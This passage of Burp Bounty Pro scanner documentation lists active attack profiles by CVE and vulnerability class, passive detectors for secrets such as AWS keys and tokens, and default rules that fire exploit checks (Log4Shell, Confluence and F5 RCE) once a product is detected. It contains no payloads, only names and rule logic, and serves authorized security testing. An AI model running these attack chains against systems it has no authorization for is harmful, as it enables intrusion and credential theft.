| CVE-2020-13379\_Grafana\_SSRF                         | High     | CVEs                     |
| CVE-2020-14179\_Jira\_Info\_Exposure                  | Medium   | CVEs                     |
| CVE-2020-14181\_Jira\_User\_Enum                      | Medium   | CVEs                     |
| CVE-2020-14815\_XSS                                   | Medium   | XSS                      |
| CVE-2020-15129\_Traefik\_Open\_Redirect               | Medium   | CVEs                     |
| CVE-2020-17506\_Artica\_Web\_Proxy\_Auth\_Bypass      | High     | CVEs                     |
| CVE-2020-24312\_File\_Manager\_Wordpress\_Backups     | High     | CVEs, Wordpress          |
| CVE-2020-2551\_Oracle\_WebLogic                       | High     | CVEs                     |
| CVE-2020-3452\_Cisco\_ASA\_LFI                        | Medium   | CVEs                     |
| CVE-2020-5410\_Path\_Traversal\_Spring\_Cloud         | Medium   | CVEs                     |
| CVE-2020-5412\_Spring\_Cloud\_Netflix                 | High     | CVEs                     |
| CVE-2020-5777\_MAMGI\_Auth\_Bypass                    | Medium   | CVEs                     |
| CVE-2020-5902\_F5-BigIP                               | High     | CVEs                     |
| CVE-2020-8209\_Citrix\_XenMobile\_PathTraversal       | High     | CVEs                     |
| CVE-2020-8982\_Citrix\_ShareFile\_File\_Read          | Medium   | CVEs                     |
| CVE-2020-9484\_Tomcat\_Groovy                         | High     | CVEs                     |
| CVE-2021-26086\_PathTraversal\_Atlassian\_Jira        | Medium   | CVEs                     |
| CVE-2021-40438\_Apache\_mod\_proxy\_SSRF              | High     | CVEs                     |
| CVE-2021-40539\_Zoho\_ManageEngine\_ADSelfService     | High     | CVEs                     |
| CVE-2021-43798\_Grafana\_LFI                          | High     | CVEs                     |
| CVE-2021-44228\_RCE\_Log4j                            | High     | RCE, CVEs                |
| CVE-2021-44228\_RCE\_Log4j\_GETPOST                   | High     | RCE, CVEs                |
| CVE-2021-44228\_RCE\_Log4j\_urlEncode                 | High     | RCE, CVEs                |
| CVE-2022-1388\_F5\_Big\_IP\_RCE                       | High     | CVEs, RCE                |
| CVE-2022-26134\_Confluence\_RCE                       | High     | CVEs, RCE                |
| CVE-2022-31474\_BackupBuddy\_LFI                      | Medium   | CVEs                     |
| CVE-2022-32276\_Grafana\_8.4.3                        | Medium   | CVEs                     |
| CVE-2022-32276\_Grafana\_8.4.3\_poc2                  | Medium   | CVEs                     |
| CVE-2022-42889\_Text4Shell                            | High     | CVEs                     |
| CVE-2023-24488\_Citrix\_XSS                           | Medium   | All                      |
| CVE-2025-55182\_React2Shell\_RCE                      | High     | RCE, CVEs, React/Next.js |
| CVE-2025-55182\_React2Shell\_RCE\_OOB                 | High     | RCE, React/Next.js, CVEs |
| CVE-2025-55182\_React2Shell\_RCE\_Windows             | High     | RCE, CVEs, React/Next.js |
| CVE-2025-68613\_n8n\_Vulnerable\_Version              | High     | CVEs, RCE, n8n           |

### 💉 XSS (Cross-Site Scripting)

| Profile                       | Severity    | Tags                     |
| ----------------------------- | ----------- | ------------------------ |
| Blind\_XSS                    | Medium      | XSS, Blind XSS           |
| Openredirect\_to\_XSS         | Medium      | XSS                      |
| Test\_XSS\_discover           | Medium      | XSS                      |
| XSS                           | Information | XSS                      |
| XSS\_DOM\_Context             | Information | XSS, DOM\_Context        |
| XSS\_GETPOST                  | Medium      | XSS                      |
| XSS\_HTML\_Attribute\_Context | Information | XSS, HTML\_Attribute     |
| XSS\_HTML\_Comment\_Context   | Information | XSS, HTML\_Comment       |
| XSS\_HTML\_Tag\_Context       | Information | XSS, HTML\_Tag           |
| XSS\_HtmlUrlEncode            | Information | XSS                      |
| XSS\_JavaScript\_Context      | Information | XSS, JavaScript\_Context |
| XSS\_URLEncode                | Information | XSS                      |
| XSS\_URL\_Context             | Information | XSS, URL\_Context        |

### 🗄️ SQL Injection

| Profile                                | Severity | Tags                      |
| -------------------------------------- | -------- | ------------------------- |
| SQLi                                   | High     | SQLi                      |
| SQLi\_Collaborator                     | High     | SQLi                      |
| SQLi\_ContentLength                    | High     | SQLi, SQLi\_ContentLength |
| SQLi\_StausCode                        | High     | SQLi, SQLi\_StatusCode    |
| SQLi\_Timebased                        | High     | SQLi, SQLi\_TimeBased     |
| SQLi\_Timebased\_Encoded\_KeyCharacter | High     | SQLi, SQLi\_TimeBased     |
| SQLi\_Timebased\_Encoded\_Space        | High     | SQLi, SQLi\_TimeBased     |

### ⚡ RCE (Remote Code Execution)

| Profile             | Severity | Tags |
| ------------------- | -------- | ---- |
| Blind\_RCE\_Linux   | High     | RCE  |
| Blind\_RCE\_Windows | High     | RCE  |
| Echo\_RCE           | High     | RCE  |
| Expect\_RCE         | High     | RCE  |
| PHP\_RCE            | High     | RCE  |
| RCE\_Linux          | High     | RCE  |
| RCE\_Windows        | High     | RCE  |

### 🌐 SSRF (Server-Side Request Forgery)

| Profile                                    | Severity | Tags                |
| ------------------------------------------ | -------- | ------------------- |
| OpenRedirect\_SSRF                         | High     | SSRF, Open Redirect |
| OpenRedirect\_SSRF\_Collaborator           | Medium   | SSRF, Open Redirect |
| OpenRedirect\_SSRF\_Collaborator\_HTTP0\_9 | Medium   | All                 |
| OpenRedirect\_SSRF\_Collaborator\_HTTP1\_0 | Medium   | All                 |
| SSRF-Collaborator                          | Medium   | SSRF                |
| SSRF-URLScheme                             | High     | SSRF                |
| SSRF\_Collaborator\_HTTP0\_9               | Medium   | SSRF                |
| SSRF\_Collaborator\_HTTP1\_0               | Medium   | SSRF                |

### 🔄 Open Redirect

| Profile                               | Severity | Tags          |
| ------------------------------------- | -------- | ------------- |
| OpenRedirect                          | Medium   | Open Redirect |
| OpenRedirect-ParameterPollution       | Medium   | Open Redirect |
| OpenRedirect-ParameterPollution\_Path | Medium   | Open Redirect |
| OpenRedirect\_to\_Account\_Takeover   | High     | All           |

### 📄 XXE (XML External Entity)

| Profile      | Severity | Tags |
| ------------ | -------- | ---- |
| Blind\_XXE   | High     | XXE  |
| XXE\_Linux   | High     | XXE  |
| XXE\_Windows | High     | XXE  |

### 📂 Path Traversal

| Profile                | Severity | Tags           |
| ---------------------- | -------- | -------------- |
| PathTraversal\_Linux   | High     | Path Traversal |
| PathTraversal\_Windows | High     | Path Traversal |

### 🔧 Other Active Profiles

| Profile                          | Severity    | Tags             |
| -------------------------------- | ----------- | ---------------- |
| CORS Misconfiguration            | Low         | CORS             |
| CRLF                             | Medium      | CRLF             |
| CouchDB\_Admin\_Exposure         | Medium      | CVEs             |
| DWR\_enpoints                    | Information | DRWuzz           |
| Drupal\_User\_Enum               | Medium      | Drupal           |
| Drupal\_User\_Enum\_Redirect     | Medium      | Drupal           |
| Fuzzing\_directories             | Information | Fuzzing Files    |
| GitFinder                        | Low         | Fuzzing Files    |
| GraphQL Alias Overloading        | Medium      | GraphQL          |
| GraphQL Batching                 | Medium      | GraphQL          |
| GraphQL Circular Queries         | Medium      | GraphQL          |
| GraphQL Directives Overloading   | Medium      | GraphQL          |
| GraphQL Field Duplication        | Medium      | GraphQL          |
| Graphql Introspection            | Low         | Introspection    |
| Host\_Header\_Injection          | High        | All              |
| Java\_De-Serialization           | Information | All              |
| Jira\_unauthenticated\_Info      | Medium      | CVEs             |
| Kubernetes\_API\_Exposed         | Medium      | All              |
| Open Firebase Database           | High        | All              |
| Password-Reset-Headers           | High        | Forgot Password  |
| Password-Reset-Params            | High        | Forgot Password  |
| Password-Reset-URL               | High        | Forgot Password  |
| SSTI                             | High        | SSTI             |
| SVNFinder                        | Low         | Fuzzing Files    |
| Source\_code                     | Information | All              |
| Spring\_Boot\_Actuators          | High        | Spring           |
| Swagger-Finder                   | Information | Fuzzing Files    |
| Symfony\_Debug                   | Medium      | All              |
| Wordpress\_Config\_Accessible    | High        | Wordpress        |
| Wordpress\_Path\_Traversal       | High        | Wordpress        |
| Wordpress\_XMLRPC\_ListMethods   | Low         | Wordpress        |
| Wordpress\_XMLRPC\_Pingback      | Low         | Wordpress        |
| Wordpress\_directory\_listing    | Low         | Wordpress        |
| Wordpress\_user\_enum\_json      | Low         | Wordpress        |
| Wordpress\_user\_enum\_oembed    | Low         | Wordpress        |
| Woody\_Wordpress\_RCE            | Medium      | Wordpress        |
| X-Headers-Collaborator           | Medium      | X-Headers-Collab |
| easy\_wp\_smtp\_listing\_enabled | High        | Wordpress        |
| solarwinds\_default\_admin       | High        | All              |
| wordpress\_users\_enum\_yoastseo | Low         | Wordpress        |

***

## 📩 Passive Response Profiles (95)

These profiles analyze HTTP responses for security issues, sensitive data, and technology indicators.

| Profile                                             | Severity    | Description                                      |
| --------------------------------------------------- | ----------- | ------------------------------------------------ |
| AWS\_Access\_Key\_ID                                | Information | 🔑 Detects AWS Access Key IDs                    |
| AWS\_Client\_Secret                                 | Information | 🔑 Detects AWS Client Secrets                    |
| AWS\_Creds\_File                                    | Information | 📁 Detects AWS credentials file references       |
| AWS\_EC2\_Url                                       | Information | ☁️ Detects AWS EC2 metadata URLs                 |
| AWS\_Region                                         | Information | ☁️ Detects AWS region identifiers                |
| AccessToken                                         | Information | 🔑 Detects access tokens in responses            |
| AmazonAWS                                           | Information | ☁️ Detects Amazon AWS URLs                       |
| Amazon\_AWS\_Url                                    | Information | ☁️ Detects Amazon AWS endpoint URLs              |
| Amazon\_MWS\_Auth\_Token                            | Information | 🔑 Detects Amazon MWS authentication tokens      |
| Android\_WebView\_JS                                | Information | 📱 Detects Android WebView JavaScript interfaces |
| ApiKeyResponse                                      | Information | 🔑 Detects API keys in responses                 |
| Artica\_Web                                         | Information | 🖥️ Detects Artica Web Proxy                     |
| Artifactory\_API\_Token                             | Information | 🔑 Detects JFrog Artifactory API tokens          |
| Authorization\_Bearer                               | Information | 🔑 Detects Bearer tokens in responses            |
| Azure\_Blob\_Discovered                             | Information | ☁️ Detects Azure Blob storage URLs               |
| Basic\_Auth\_Credentials                            | Information | 🔑 Detects Basic Auth credentials                |
| Bitcoin\_Address                                    | Information | 💰 Detects Bitcoin addresses                     |
| CDN\_Detected                                       | Information | 🌐 Detects CDN usage                             |
| CMS\_Found                                          | Information | 🖥️ Detects CMS platforms                        |
| Cache-Control                                       | Information | 🛡️ Analyzes Cache-Control headers               |
| Cisco\_ASA\_Device\_Found                           | Low         | 🖥️ Detects Cisco ASA devices                    |
| Citrix\_Detection                                   | Information | 🖥️ Detects Citrix products                      |
| Content-Security-Policy                             | Information | 🛡️ Analyzes CSP headers                         |
| CookieFlag-HttpOnly                                 | Low         | 🍪 Checks for missing HttpOnly flag              |
| CookieFlag-SameSite                                 | Information | 🍪 Checks for SameSite cookie attribute          |
| CookieFlag-Secure                                   | Low         | 🍪 Checks for missing Secure flag                |
| CouchDB\_Response                                   | Information | 🗄️ Detects CouchDB responses                    |
| DWREndpoints                                        | Information | 🔗 Detects DWR (Direct Web Remoting) endpoints   |
| Debug Pages                                         | Information | ⚠️ Detects debug/error pages                     |
| Debug\_variables                                    | Information | ⚠️ Detects debug variables in responses          |
| DefaultRDP                                          | Information | 🖥️ Detects default RDP configurations           |
| DigitalOcean\_Space\_Discovered                     | Information | ☁️ Detects DigitalOcean Spaces                   |
| DirectoryListing                                    | Information | 📂 Detects directory listing                     |
| Docker\_API\_Response                               | Information | 🐳 Detects Docker API responses                  |
| DomainTakeOver\_Strings                             | Information | 🌐 Detects domain takeover indicators            |
| Drupal\_Response                                    | Information | 🖥️ Detects Drupal CMS                           |
| EndpointsExtractor                                  | Information | 🔗 Extracts API endpoints from JS                |
| Env\_Vars                                           | Information | ⚠️ Detects environment variables                 |
| Facebook\_Client\_ID                                | Information | 🔑 Detects Facebook Client IDs                   |
| Facebook\_OAuth                                     | Information | 🔑 Detects Facebook OAuth tokens                 |
| Fortinet\_Panel                                     | Information | 🛡️ Detects Fortinet admin panels                |
| GCP\_Service\_Account                               | Information | ☁️ Detects GCP service accounts                  |
| GCP\_Urls                                           | Information | ☁️ Detects Google Cloud Platform URLs            |
| Gmail\_Oauth\_2.0                                   | Information | 🔑 Detects Gmail OAuth tokens                    |
| Google\_Cloud\_Buckets                              | Information | ☁️ Detects Google Cloud Storage buckets          |
| Hidden Parameters                                   | Information | 🔍 Detects hidden form parameters                |
| Interesting\_Keyworks                               | Information | 🔍 Detects interesting keywords                  |
| JS\_Variables                                       | Information | 📝 Extracts JavaScript variables                 |
| Jenkins\_Response                                   | Information | 🖥️ Detects Jenkins CI                           |
| Joomla detection                                    | Information | 🖥️ Detects Joomla CMS                           |
| Joomla-CVE-2015-7297                                | High        | 🐛 Detects Joomla CVE-2015-7297                  |
| Kubernetes\_Response                                | Information | ☸️ Detects Kubernetes                            |
| LinkedIn\_Secret                                    | Information | 🔑 Detects LinkedIn API secrets                  |
| MAC\_Address                                        | Information | 🔗 Detects MAC addresses                         |
| MAGMI\_Response                                     | Information | 🖥️ Detects MAGMI (Magento Mass Importer)        |
| Netsweeper\_Response                                | Information | 🖥️ Detects Netsweeper                           |
| NoSQL\_Session\_Token                               | Information | 🔑 Detects NoSQL session tokens                  |
| NuGet\_Api\_Key                                     | Information | 🔑 Detects NuGet API keys                        |
| Octopus\_API\_Key                                   | Information | 🔑 Detects Octopus Deploy API keys               |
| Outlook\_Team                                       | Information | 📧 Detects Outlook/Teams info                    |
| Paypal\_Braintree\_access\_token                    | Information | 🔑 Detects PayPal Braintree tokens               |
| Picatic\_API\_Key                                   | Information | 🔑 Detects Picatic API keys                      |
| Private\_SSH\_Key                                   | Information | 🔑 Detects private SSH keys                      |
| Reflected\_values\_greater\_than\_three\_characters | Information | 🪞 Detects reflected values                      |
| SQL\_Message\_Detected                              | Information | 🗄️ Detects SQL error messages                   |
| ServerBannerResponse                                | Information | 🖥️ Detects server banners                       |
| Software\_Version                                   | Information | 📊 Detects software version strings              |
| Solarwinds\_Orion\_Response                         | Information | 🖥️ Detects SolarWinds Orion                     |
| SonarQube\_API\_Key\_Docs                           | Information | 🔑 Detects SonarQube API keys                    |
| StackHawk\_API\_Key                                 | Information | 🔑 Detects StackHawk API keys                    |
| Strict-Transport-Security                           | Information | 🛡️ Checks HSTS header                           |
| Subdomain\_takeover                                 | Low         | 🌐 Detects subdomain takeover indicators         |
| Swagger\_found                                      | Information | 📄 Detects Swagger/OpenAPI docs                  |
| Symfony\_Response                                   | Information | 🖥️ Detects Symfony framework                    |
| Tomcat\_Response\_Detection                         | Information | 🖥️ Detects Apache Tomcat                        |
| Traefik\_Response                                   | Information | 🖥️ Detects Traefik proxy                        |
| WAF\_Found                                          | Information | 🛡️ Detects Web Application Firewalls            |
| WP\_Config                                          | Information | ⚠️ Detects WordPress config exposure             |
| Wordpress detection                                 | Information | 🖥️ Detects WordPress CMS                        |
| Wordpress-SensitiveDirectories                      | Information | 📂 Detects sensitive WP directories              |
| X-Content-Type-Options                              | Information | 🛡️ Checks X-Content-Type-Options                |
| X-Frame-Options                                     | Information | 🛡️ Checks X-Frame-Options                       |
| vBulletin\_Response                                 | Information | 🖥️ Detects vBulletin forum                      |
| Docker\_API\_Response                               | Information | 🐳 Detects Docker API                            |

***

## 📨 Passive Request Profiles (58)

These profiles analyze HTTP requests to detect interesting parameters, endpoints, and technology indicators.

| Profile                        | Severity    | Description                               |
| ------------------------------ | ----------- | ----------------------------------------- |
| Action\_parameters             | Information | ⚙️ Detects action-related parameters      |
| All\_Requests\_And\_Parameters | Information | 🌐 Matches all requests (for bulk rules)  |
| AmazonAWSRequest               | Information | ☁️ Detects AWS API requests               |
| ApiKeyRequest                  | Information | 🔑 Detects API key parameters in requests |
| Api\_path                      | Information | 🔗 Detects API path patterns              |
| Artica\_Web\_Request           | Information | 🖥️ Detects Artica Web requests           |
| AuthorizationBearerToken       | Information | 🔑 Detects Bearer tokens in requests      |
| Cisco\_Request\_Detected       | Information | 🖥️ Detects Cisco-related requests        |
| CouchDB\_Request               | Information | 🗄️ Detects CouchDB requests              |
| Debug\_Logic\_Parameters       | Information | ⚠️ Detects debug parameters               |
| ErrorPages-JobApps             | Information | ⚠️ Detects error page requests            |
| Firebase DB detected           | Information | 🔥 Detects Firebase requests              |
| Fortinet\_Request              | Information | 🛡️ Detects Fortinet requests             |
| GraphQL\_Endpoint              | Information | 🔗 Detects GraphQL endpoints              |
| IDOR\_parameters               | Information | 🔓 Detects IDOR-prone parameters          |
| Jira\_Request                  | Information | 📋 Detects Jira requests                  |
| Key\_Parameters                | Information | 🔑 Detects key/token parameters           |
| LFI\_RFI\_Parameters           | Information | 📂 Detects LFI/RFI-prone parameters       |
| MAGMI\_Request                 | Information | 🖥️ Detects MAGMI requests                |
| Netsweeper\_Request            | Information | 🖥️ Detects Netsweeper requests           |
| OAuth\_parameters              | Information | 🔑 Detects OAuth parameters               |
| OpenRedirect\_SSRF\_Parameters | Information | 🔄 Detects redirect/URL parameters        |
| RCE\_Parameters                | Information | ⚡ Detects RCE-prone parameters            |
| RegisterUser\_parameters       | Information | 👤 Detects registration parameters        |
| SQLi\_Parameters               | Information | 🗄️ Detects SQLi-prone parameters         |
| SSTI\_Parameters               | Information | 🔧 Detects SSTI-prone parameters          |
| Secret-keywords-SecLists       | Information | 🔑 Detects secret keywords                |
| Secrets\_Request               | Information | 🔑 Detects secrets in requests            |
| Solarwinds\_Orion\_Request     | Information | 🖥️ Detects SolarWinds requests           |
| Springboot\_Requests           | Information | 🍃 Detects Spring Boot requests           |
| Swagger\_Request               | Information | 📄 Detects Swagger requests               |
| Token\_Parameters              | Information | 🔑 Detects token parameters               |
| URL\_Path\_as\_a\_Value        | Information | 🔗 Detects URL paths in parameters        |
| URL\_as\_a\_Value              | Information | 🔗 Detects URLs in parameters             |
| UUID\_Request                  | Information | 🔢 Detects UUIDs in requests              |
| UserEnum\_parameters           | Information | 👤 Detects user enumeration parameters    |
| WeblogicServer-UDDI\_Explorer  | Information | 🖥️ Detects WebLogic UDDI                 |
| Weblogic\_Request              | Information | 🖥️ Detects WebLogic requests             |
| XSS\_Parameters                | Information | 💉 Detects XSS-prone parameters           |


# Default Rules

Burp Bounty Pro ships with **27 pre-configured Smart Scan rules**. These rules automate vulnerability scanning by connecting passive detection with targeted active profiles.

## 📊 Summary

| Category                     | Count  |
| ---------------------------- | ------ |
| ✅ Enabled rules              | 23     |
| ❌ Disabled rules (bulk scan) | 4      |
| **Total**                    | **27** |

## 🖥️ Technology Detection Rules

These rules detect specific technologies and automatically run their associated CVE and vulnerability profiles.

### 🌐 Artica\_Web\_Proxy\_Auth\_bypass

|               |                                                                        |
| ------------- | ---------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                    |
| 🔍 **IF**     | Passive Request `Artica_Web_Request` AND Passive Response `Artica_Web` |
| 🎯 **THEN**   | Execute: `CVE-2020-17506_Artica_Web_Proxy_Auth_Bypass`                 |
| 📍 **Scope**  | All Matches                                                            |

### 🛡️ Cisco\_Rule

|               |                                                                                       |
| ------------- | ------------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                                   |
| 🔍 **IF**     | Passive Response `Cisco_ASA_Device_Found` OR Passive Request `Cisco_Request_Detected` |
| 🎯 **THEN**   | Execute: `CVE-2020-3452_Cisco_ASA_LFI`, `CVE-2019-1653_Cisco_Wan_VPN_disclosure`      |
| 📍 **Scope**  | All Matches                                                                           |

### 🖥️ Citrix\_Rule

|               |                                                                                                                                                      |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                                                                                                  |
| 🔍 **IF**     | Passive Response `Citrix_Detection`                                                                                                                  |
| 🎯 **THEN**   | Execute: `CVE-2019-19781_Citrix_ADC_Directory_Traversal`, `CVE-2020-8209_Citrix_XenMobile_PathTraversal`, `CVE-2020-8982_Citrix_ShareFile_File_Read` |
| 📍 **Scope**  | All Matches                                                                                                                                          |

### 🗄️ CouchDB\_Admin\_Exposure

|               |                                                                           |
| ------------- | ------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                       |
| 🔍 **IF**     | Passive Request `CouchDB_Request` AND Passive Response `CouchDB_Response` |
| 🎯 **THEN**   | Execute: `CouchDB_Admin_Exposure`                                         |
| 📍 **Scope**  | All Matches                                                               |

### 💧 Drupal\_Rule

|               |                                                          |
| ------------- | -------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                      |
| 🔍 **IF**     | Passive Response `Drupal_Response`                       |
| 🎯 **THEN**   | Execute: `Drupal_User_Enum`, `Drupal_User_Enum_Redirect` |
| 📍 **Scope**  | All Matches                                              |

### 🔥 Firebase Database Rule

|               |                                        |
| ------------- | -------------------------------------- |
| ✅ **Enabled** | Yes                                    |
| 🔍 **IF**     | Passive Request `Firebase DB detected` |
| 🎯 **THEN**   | Execute: `Open Firebase Database`      |
| 📍 **Scope**  | First Match                            |

### 🛡️ Fortinet\_Fortigate

|               |                                                                          |
| ------------- | ------------------------------------------------------------------------ |
| ✅ **Enabled** | Yes                                                                      |
| 🔍 **IF**     | Passive Request `Fortinet_Request` AND Passive Response `Fortinet_Panel` |
| 🎯 **THEN**   | Execute: `CVE-2018-13379_FortiOS_Creds_Disclosure`                       |
| 📍 **Scope**  | All Matches                                                              |

### 📋 Jira\_Rule

|               |                                                                                                                                                                                                                                 |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                                                                                                                                                                             |
| 🔍 **IF**     | Passive Request `Jira_Request`                                                                                                                                                                                                  |
| 🎯 **THEN**   | Execute: `CVE-2020-14179_Jira_Info_Exposure`, `CVE-2020-14181_Jira_User_Enum`, `CVE-2017-9506_Jira_SSRF`, `CVE-2019-8442_Jira_Path_Traversal`, `CVE-2019-8449_Jira_Unauthenticated_Sensitive_Info`, `Jira_unauthenticated_Info` |
| 📍 **Scope**  | All Matches                                                                                                                                                                                                                     |

### ☸️ Kubernetes\_Rule

|               |                                        |
| ------------- | -------------------------------------- |
| ✅ **Enabled** | Yes                                    |
| 🔍 **IF**     | Passive Response `Kubernetes_Response` |
| 🎯 **THEN**   | Execute: `Kubernetes_API_Exposed`      |
| 📍 **Scope**  | All Matches                            |

### 🛒 MAGMI\_Remote\_Auth

|               |                                                                      |
| ------------- | -------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                  |
| 🔍 **IF**     | Passive Request `MAGMI_Request` OR Passive Response `MAGMI_Response` |
| 🎯 **THEN**   | Execute: `CVE-2020-5777_MAMGI_Auth_Bypass`                           |
| 📍 **Scope**  | All Matches                                                          |

### 🌐 Netsweeper\_CodeInjection

|               |                                                                                 |
| ------------- | ------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                             |
| 🔍 **IF**     | Passive Request `Netsweeper_Request` AND Passive Response `Netsweeper_Response` |
| 🎯 **THEN**   | Execute: `CVE-2020-13167_Netsweeper_code_injection`                             |
| 📍 **Scope**  | All Matches                                                                     |

### ☀️ Solarwinds

|               |                                                                                            |
| ------------- | ------------------------------------------------------------------------------------------ |
| ✅ **Enabled** | Yes                                                                                        |
| 🔍 **IF**     | Passive Request `Solarwinds_Orion_Request` OR Passive Response `Solarwinds_Orion_Response` |
| 🎯 **THEN**   | Execute: `solarwinds_default_admin`                                                        |
| 📍 **Scope**  | All Matches                                                                                |

### 🍃 SpringBoot\_Rule

|               |                                       |
| ------------- | ------------------------------------- |
| ✅ **Enabled** | Yes                                   |
| 🔍 **IF**     | Passive Request `Springboot_Requests` |
| 🎯 **THEN**   | Execute: `Spring_Boot_Actuators`      |
| 📍 **Scope**  | All Matches                           |

### 🎵 Symfony\_Rule

|               |                                     |
| ------------- | ----------------------------------- |
| ✅ **Enabled** | Yes                                 |
| 🔍 **IF**     | Passive Response `Symfony_Response` |
| 🎯 **THEN**   | Execute: `Symfony_Debug`            |
| 📍 **Scope**  | All Matches                         |

### 🔀 Traefik\_Rule

|               |                                                 |
| ------------- | ----------------------------------------------- |
| ✅ **Enabled** | Yes                                             |
| 🔍 **IF**     | Passive Response `Traefik_Response`             |
| 🎯 **THEN**   | Execute: `CVE-2020-15129_Traefik_Open_Redirect` |
| 📍 **Scope**  | All Matches                                     |

### 🖥️ Weblogic\_Rule

|               |                                          |
| ------------- | ---------------------------------------- |
| ✅ **Enabled** | Yes                                      |
| 🔍 **IF**     | Passive Request `Weblogic_Request`       |
| 🎯 **THEN**   | Execute: `CVE-2020-2551_Oracle_WebLogic` |
| 📍 **Scope**  | All Matches                              |

### 🔵 Wordpress\_Rule

|               |                                                                                                                                                                                                                                                                                                                                                        |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| ✅ **Enabled** | Yes                                                                                                                                                                                                                                                                                                                                                    |
| 🔍 **IF**     | Passive Response `Wordpress detection`                                                                                                                                                                                                                                                                                                                 |
| 🎯 **THEN**   | Execute: `Wordpress_user_enum_oembed`, `wordpress_users_enum_yoastseo`, `Wordpress_user_enum_json`, `Wordpress_directory_listing`, `Woody_Wordpress_RCE`, `CVE-2020-24312_File_Manager_Wordpress_Backups`, `Wordpress_Path_Traversal`, `Wordpress_Config_Accessible`, `easy_wp_smtp_listing_enabled`, `CVE-2020-11738_Wordpress_Duplicator_Plugin_LFI` |
| 📍 **Scope**  | First Match                                                                                                                                                                                                                                                                                                                                            |

***

## 💉 Vulnerability Parameter Detection Rules

These rules detect interesting parameters in requests and trigger targeted vulnerability testing.

### 🗄️ SQLi\_Rule

|               |                                                 |
| ------------- | ----------------------------------------------- |
| ✅ **Enabled** | Yes                                             |
| 🔍 **IF**     | Passive Request `SQLi_Parameters`               |
| 🎯 **THEN**   | Execute: `SQLi`, `SQLi_Timebased_Encoded_Space` |
| 📍 **Scope**  | All Matches                                     |

### 💉 XSS\_rule

|               |                                                                                                                                                     |
| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                                                                                                 |
| 🔍 **IF**     | Passive Request `XSS_Parameters`                                                                                                                    |
| 🎯 **THEN**   | Execute: `XSS`, `XSS_URLEncode`, `XSS_HtmlUrlEncode`, `XSS_GETPOST`, `XSS_HTML_Tag_Context`, `XSS_HTML_Attribute_Context`, `XSS_JavaScript_Context` |
| 📍 **Scope**  | All Matches                                                                                                                                         |

### ⚡ RCE\_Rule

|               |                                                                                                                  |
| ------------- | ---------------------------------------------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                                                              |
| 🔍 **IF**     | Passive Request `RCE_Parameters`                                                                                 |
| 🎯 **THEN**   | Execute: `RCE_Linux`, `Blind_RCE_Linux`, `Blind_RCE_Windows`, `Echo_RCE`, `Expect_RCE`, `PHP_RCE`, `RCE_Windows` |
| 📍 **Scope**  | All Matches                                                                                                      |

### 📂 LFI\_Rule

|               |                                                                               |
| ------------- | ----------------------------------------------------------------------------- |
| ✅ **Enabled** | Yes                                                                           |
| 🔍 **IF**     | Passive Request `LFI_RFI_Parameters` OR Passive Request `URL_Path_as_a_Value` |
| 🎯 **THEN**   | Execute: `PathTraversal_Linux`, `PathTraversal_Windows`                       |
| 📍 **Scope**  | All Matches                                                                   |

### 🔧 SSTI\_Rule

|               |                                   |
| ------------- | --------------------------------- |
| ✅ **Enabled** | Yes                               |
| 🔍 **IF**     | Passive Request `SSTI_Parameters` |
| 🎯 **THEN**   | Execute: `SSTI`                   |
| 📍 **Scope**  | All Matches                       |

### 🔄 OpenRedirect\_SSRF\_Rule

|               |                                                                                                                                                                                                                                                                                                  |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| ✅ **Enabled** | Yes                                                                                                                                                                                                                                                                                              |
| 🔍 **IF**     | Passive Request `OpenRedirect_SSRF_Parameters` OR Passive Request `URL_as_a_Value` OR Passive Request `URL_Path_as_a_Value`                                                                                                                                                                      |
| 🎯 **THEN**   | Execute: `OpenRedirect`, `OpenRedirect_SSRF_Collaborator`, `Openredirect_to_XSS`, `OpenRedirect_to_Account_Takeover`, `SSRF-Collaborator`, `SSRF-URLScheme`, `SSRF_Collaborator_HTTP1_0`, `SSRF_Collaborator_HTTP0_9`, `OpenRedirect-ParameterPollution`, `OpenRedirect-ParameterPollution_Path` |
| 📍 **Scope**  | All Matches                                                                                                                                                                                                                                                                                      |

***

## ⚠️ Bulk Scanning Rules (Disabled by Default)

> ⚠️ **Warning:** These rules match all requests and can generate significant traffic. Only enable when needed.

### 🔄 Scan all requests with Open redirect profiles

|               |                                               |
| ------------- | --------------------------------------------- |
| ❌ **Enabled** | No                                            |
| 🔍 **IF**     | Passive Request `All_Requests_And_Parameters` |
| 🎯 **THEN**   | Execute tag: `Open Redirect`                  |
| 📍 **Scope**  | All Matches                                   |

### 🌐 Scan all requests with SSRF

|               |                                               |
| ------------- | --------------------------------------------- |
| ❌ **Enabled** | No                                            |
| 🔍 **IF**     | Passive Request `All_Requests_And_Parameters` |
| 🎯 **THEN**   | Execute tag: `SSRF`                           |
| 📍 **Scope**  | All Matches                                   |

### 🌐 Scan all requests with all Profiles

|               |                                               |
| ------------- | --------------------------------------------- |
| ❌ **Enabled** | No                                            |
| 🔍 **IF**     | Passive Request `All_Requests_And_Parameters` |
| 🎯 **THEN**   | Execute tag: `All`                            |
| 📍 **Scope**  | All Matches                                   |

### 🐛 Scan all requests with log4shell profiles

|               |                                                                                                               |
| ------------- | ------------------------------------------------------------------------------------------------------------- |
| ❌ **Enabled** | No                                                                                                            |
| 🔍 **IF**     | Passive Request `All_Requests_And_Parameters`                                                                 |
| 🎯 **THEN**   | Execute: `CVE-2021-44228_RCE_Log4j`, `CVE-2021-44228_RCE_Log4j_GETPOST`, `CVE-2021-44228_RCE_Log4j_urlEncode` |
| 📍 **Scope**  | All Matches                                                                                                   |


# Changelog

## 🚀 v3.1.0

### 🌟 Major New Features

#### 🤖 AI Scanner

